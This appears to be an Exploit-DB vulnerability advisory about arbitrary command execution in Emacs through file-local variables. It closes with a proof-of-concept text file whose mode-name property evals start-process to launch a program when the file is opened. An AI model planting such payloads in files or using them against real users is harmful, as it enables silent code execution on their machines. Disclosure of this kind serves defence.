Arbitrary Command Execution in Emacs with Local Variables

vendor:

Emacs

by:

7.5

CVSS

HIGH

Arbitrary Command Execution

CWE

Product Name: Emacs

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Arbitrary Command Execution in Emacs with Local Variables

Attackers can modify a text file to include local variables containing shell commands in an 'eval' statement, leading to the execution of arbitrary commands.

Mitigation:

Ensure that user-supplied input is properly sanitized to prevent the execution of arbitrary commands.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/15375/info

Emacs is susceptible to an arbitrary command execution vulnerability with local variables. This issue is due to insufficient sanitization of user-supplied input.

By modifying a text file to include local variables containing containing shell commands in an 'eval' statement, attackers may cause arbitrary commands to be executed.

This vulnerability allows an attacker to execute arbitrary commands with the privileges of the emacs user. This gives an attacker the ability to gain remote access to computers running the vulnerable software.

/* -*- Mode: text; tab-width:20; Eval: Mode -*- -*- forms -*- */

Emacs better than windoze.

;;; Local Variables: ***
;;; mode: text ***
;;; mode-name: #("Microsoft sux" 0 4 (display (when (eval (start-process "/usr/bin/yes" "/usr/bin/yes" "/usr/bin/yes" "msux") ) . xxx) ) ) ***
;;; comment-start: ";;; " ***
;;; comment-end:"***" ***
;;; End: ***